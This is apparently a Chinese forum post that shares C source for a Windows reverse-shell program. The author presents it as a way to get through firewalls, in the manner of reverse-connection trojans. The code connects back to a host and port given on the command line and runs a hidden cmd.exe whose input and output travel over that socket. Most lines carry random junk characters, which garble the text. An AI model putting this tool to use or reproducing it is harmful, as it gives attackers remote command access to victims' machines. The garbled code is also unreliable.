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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G? gXK W  
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/* ============================== JOx ,19r  
Rebound port in Windows NT t{8v(}  
By wind,2006/7 56SS >b  
===============================*/ f H|QAMfOu  
#include <!}l~Ln15  
#include a<wQzgxG  
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#pragma comment(lib,"wsock32.lib") +VLe'|  
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void OutputShell(); 9Jy2T/l  
SOCKET sClient; ViwpyC'v  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (S)E|;f%C  
A :bPIXb  
void main(int argc,char **argv) .n& Cq+U;  
{ A9l})_~i  
WSADATA stWsaData; {_XrZ(y/  
int nRet; v;]I^Kq  
SOCKADDR_IN stSaiClient,stSaiServer; BT#=Xh  
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if(argc != 3) $W {yK+N  
{ ,mjfZ*N  
printf("Useage:\n\rRebound DestIP DestPort\n"); gr`Ar;  
return; [}ZPg3Y  
} j H.Ju|nO  
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WSAStartup(MAKEWORD(2,2),&stWsaData); SAG` ^t  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PL9eUy  
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stSaiClient.sin_family = AF_INET; n^pZXb;Y  
stSaiClient.sin_port = htons(0); A?IZ( Zx(`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nz(q)"A  
me:|!lI7YU  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &xBK\  
{ BnaU)E h  
printf("Bind Socket Failed!\n"); :x""E5H  
return; x #tu  
} V(2j*2R!  
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stSaiServer.sin_family = AF_INET; ,]uX:h-EM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :Dk@?o@2;C  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 88#qu.  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B]|6`UfB  
{ vNz;#Je  
printf("Connect Error!"); ,zN3? /7  
return; sArje(5Eo  
} S?Bc~y  
OutputShell(); lP@)   
} (~ ]g,*+  
5"kx}f2$  
void OutputShell() S~k 0@  
{ %9QMzz5  
char szBuff[1024]; 9P7xoXJ@y  
SECURITY_ATTRIBUTES stSecurityAttributes; "B9[cDM&  
OSVERSIONINFO stOsversionInfo; &N"'7bK6n  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jB%"AvIX  
STARTUPINFO stStartupInfo; $AA~]'O>6:  
char *szShell; my\o P(e\  
PROCESS_INFORMATION stProcessInformation; :T7?  
unsigned long lBytesRead; H ~[LJ5x  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9U|<q  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); msc 1^2  
stSecurityAttributes.lpSecurityDescriptor = 0; OB?SkR  
stSecurityAttributes.bInheritHandle = TRUE; kRN|TDx(  
: F7k{~  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =de<WoKnu2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "Y G\  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); GSz @rDGY  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k-WHHoU>o  
stStartupInfo.wShowWindow = SW_HIDE; Qj 6gg  
stStartupInfo.hStdInput = hReadPipe; HQ^9 [HN.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a[1sA12  
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GetVersionEx(&stOsversionInfo); N>d|A]zH  
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switch(stOsversionInfo.dwPlatformId) /~i.\^HX  
{ Gr5`1`8|  
case 1: ~@T+mHny  
szShell = "command.com"; X0y?<G1( a  
break; i>Z|6 5  
default: Lw>-7)  
szShell = "cmd.exe"; F8{ldzh  
break; M`0(!Q}  
} ]u rK$   
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Qm.z@DwFM{  
;W7hc!  
send(sClient,szMsg,77,0); mi7sBA9L8  
while(1) l^k+E-w\  
{ Mjb 1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); p`>AnfG  
if(lBytesRead) 3<c*v/L{C\  
{ [AXsnpa/C  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |EF>Y9   
send(sClient,szBuff,lBytesRead,0); b/}'Vf[  
} a(8>n Z,V  
else )K{o<m~WAo  
{ ;#3ekl{-g  
lBytesRead=recv(sClient,szBuff,1024,0); \s=QiPK  
if(lBytesRead<=0) break; Bu7A{DRf  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %6AYCN?Ih  
} UhsO\9}qH  
} 7dSh3f!  
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return; W`#gpi)7N  
}
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